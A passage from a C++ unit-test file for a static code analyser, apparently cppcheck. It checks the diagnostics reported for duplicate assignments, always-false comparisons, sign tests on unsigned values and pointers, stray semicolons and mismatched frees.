\"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new 